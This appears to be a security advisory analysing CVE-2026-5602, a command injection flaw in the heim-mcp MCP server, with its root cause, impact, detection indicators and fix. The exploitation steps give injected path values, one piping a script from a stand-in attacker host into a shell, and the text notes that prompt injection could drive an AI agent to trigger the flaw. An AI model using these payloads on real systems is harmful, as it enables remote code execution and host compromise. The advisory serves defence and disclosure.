CVE-2026-5602: 
JavaScript vulnerability analysis and mitigation

CVE-2026-5602 is an OS command injection vulnerability in Nor2-io heim-mcp, a Model Context Protocol (MCP) server for Heim application deployment. The vulnerability affects all versions up to and including 0.1.3 and resides in the registerTools function within src/tools.ts, specifically impacting the new_heim_application, deploy_heim_application, and deploy_heim_application_to_cloud tools. It was reported on March 11, 2026, patched on March 23, 2026, and publicly disclosed on April 5, 2026. The CVSS v3.1 base score is 5.3 (Medium), while the CVSS v4.0 base score is 4.8 (Medium) (GitHub Advisory, Feedly).

The root cause is improper neutralization of special elements used in OS commands (CWE-77/CWE-78). The vulnerable code in src/tools.ts constructs shell command strings by directly interpolating user-controlled parameters — such as path, openApiPath, name, version, language, and basePath — into calls to Node.js's child_process.exec, which invokes commands through a system shell. Because exec passes the entire string to the shell interpreter, an attacker can inject shell metacharacters (e.g., ;, &, |) to append or chain arbitrary OS commands. The fix, merged in commit c321d8af25f77668781e6ccb43a1336f9185df37, replaces exec with execFile and passes arguments as arrays, bypassing shell interpretation entirely (GitHub Issue #1, GitHub PR #2, Fix Commit).

Successful exploitation allows a local attacker with low privileges to execute arbitrary OS commands with the privileges of the MCP server process. This can result in low-level impacts to confidentiality (access to sensitive data), integrity (modification of files or system state), and availability (disruption of the MCP service or host environment). In MCP environments where LLM-generated tool parameters may be influenced by external content (e.g., prompt injection), the attack surface could extend beyond direct local user interaction, potentially enabling indirect exploitation through AI agent workflows (GitHub Issue #1, GitHub Advisory).

A proof-of-concept exploit was publicly disclosed alongside the vulnerability report (attached as heim-mcp_bug.pdf in the GitHub issue), and the CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. Exploitation requires local access and low privileges, with no user interaction needed. The EPSS score is approximately 0.058%, indicating a low but non-negligible probability of exploitation in the wild. There is no evidence of active in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (GitHub Issue #1, GitHub Advisory).

1. Identify target: Locate a system running heim-mcp version 0.1.3 or earlier, configured as an MCP server for an AI agent (e.g., Claude Desktop, Cursor, Windsurf).
2. Access the MCP interface: Gain local access to the system or interact with the MCP server through an AI agent that accepts tool parameters from user or external input.
3. Craft malicious input: Prepare a payload containing shell metacharacters in one of the vulnerable parameters. For example, supply a path parameter value such as /tmp/app; id > /tmp/pwned or /tmp/app && curl http://attacker.com/shell.sh | sh.
4. Trigger the vulnerable tool: Invoke one of the affected MCP tools (new_heim_application, deploy_heim_application, or deploy_heim_application_to_cloud) with the crafted parameter, either directly or by influencing the LLM agent to call the tool with attacker-controlled input.
5. Achieve command execution: The child_process.exec call in src/tools.ts passes the interpolated string to the system shell, which interprets the injected metacharacters and executes the appended commands with the privileges of the MCP server process (GitHub Issue #1, GitHub PR #2).

• Process: Unexpected child processes spawned by the Node.js MCP server process (e.g., /bin/sh, bash, curl, wget, id, whoami) visible in process trees.
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the MCP server process; new scripts or binaries dropped by the server user account.
• Logs: System logs (e.g., auth.log, syslog) showing unusual command execution by the user account running heim-mcp; Node.js application logs showing errors or unexpected output from exec calls with shell metacharacters in arguments.
• Network: Unexpected outbound network connections from the host running heim-mcp to external IPs, particularly shortly after MCP tool invocations.

Upgrade heim-mcp to a version beyond 0.1.3 that includes the security fix from commit c321d8af25f77668781e6ccb43a1336f9185df37, which replaces child_process.exec with execFile and passes arguments as arrays. If immediate upgrade is not possible, restrict local access to systems running the affected MCP server and apply the principle of least privilege to the process account. Additionally, implement strict input validation on all tool parameters (path, openApiPath, name, version, language, basePath) exposed to MCP clients, and monitor for suspicious child process activity from the Node.js server process (GitHub Advisory, Fix Commit).

The vendor (Nor2-io) responded promptly and professionally after being contacted by the reporter, merging the fix within approximately 12 days of the initial report (March 11 to March 23, 2026). The fix was contributed directly by the vulnerability reporter via a pull request, demonstrating effective coordinated disclosure. The vulnerability received routine coverage from automated CVE tracking services and security feeds, but no significant broader media or researcher commentary has been identified (GitHub PR #2, GitHub Advisory).